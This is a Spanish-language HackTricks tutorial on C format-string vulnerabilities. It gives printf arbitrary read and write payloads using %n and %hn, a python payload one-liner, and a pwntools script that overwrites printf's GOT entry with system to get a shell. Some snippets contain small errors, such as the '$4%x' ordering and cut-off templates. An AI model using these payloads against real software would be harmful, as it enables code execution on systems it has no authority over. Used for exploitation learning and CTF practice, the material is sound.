hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings
2024-07-18 22:10:25 +00:00
..
format-strings-template.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:10:51 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:10:25 +00:00

Format Strings

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Información Básica

En C printf es una función que se puede usar para imprimir alguna cadena. El primer parámetro que esta función espera es el texto en bruto con los formateadores. Los siguientes parámetros esperados son los valores para sustituir los formateadores del texto en bruto.

La vulnerabilidad aparece cuando un texto de atacante se usa como el primer argumento para esta función. El atacante podrá crear una entrada especial abusando de las capacidades de formato de printf para leer y escribir cualquier dato en cualquier dirección (legible/escribible). De esta manera, podrá ejecutar código arbitrario.

Formateadores:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Ejemplos:

  • Ejemplo vulnerable:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Uso Normal:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Con argumentos faltantes:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Accediendo a Punteros

El formato %<n>$x, donde n es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:

printf("%x %x %x %x")

y leerías del primer al cuarto parámetro.

O podrías hacer:

printf("$4%x")

y leer directamente el cuarto.

Nota que el atacante controla el printf parámetro, lo que básicamente significa que su entrada estará en la pila cuando se llame a printf, lo que significa que podría escribir direcciones de memoria específicas en la pila.

{% hint style="danger" %} Un atacante que controle esta entrada, podrá agregar direcciones arbitrarias en la pila y hacer que printf las acceda. En la siguiente sección se explicará cómo usar este comportamiento. {% endhint %}

Lectura Arbitraria

Es posible usar el formateador $n%s para hacer que printf obtenga la dirección situada en la n posición, siguiéndola y imprimirla como si fuera una cadena (imprimir hasta que se encuentre un 0x00). Así que si la dirección base del binario es 0x8048000, y sabemos que la entrada del usuario comienza en la 4ª posición en la pila, es posible imprimir el inicio del binario con:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Nota que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se cortará en 0x00 al final de esa dirección. {% endhint %}

Escritura Arbitraria

El formateador $<num>%n escribe el número de bytes escritos en la dirección indicada en el parámetro <num> en la pila. Si un atacante puede escribir tantos caracteres como desee con printf, podrá hacer que $<num>%n escriba un número arbitrario en una dirección arbitraria.

Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"s a la entrada; para hacerlo, es posible usar el formateador %.<num-write>%<num>$n para escribir el número <num-write> en la dirección apuntada por la posición num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Sin embargo, ten en cuenta que generalmente para escribir una dirección como 0x08049724 (que es un NÚMERO ENORME para escribir de una vez), se usa $hn en lugar de $n. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.

Por lo tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (escritura arbitraria).

En este ejemplo, el objetivo será sobrescribir la dirección de una función en la tabla GOT que se llamará más tarde. Aunque esto podría abusar de otras técnicas de escritura arbitraria para ejecutar:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system.
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero escribes 2Bytes de la dirección y luego los otros 2. Para hacerlo se usa $hn.

  • HOB se llama a los 2 bytes más altos de la dirección
  • LOB se llama a los 2 bytes más bajos de la dirección

Luego, debido a cómo funciona la cadena de formato, necesitas escribir primero el más pequeño de [HOB, LOB] y luego el otro.

Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Plantilla de Pwntools

Puedes encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

O este ejemplo básico de aquí:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Otros Ejemplos y Referencias

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}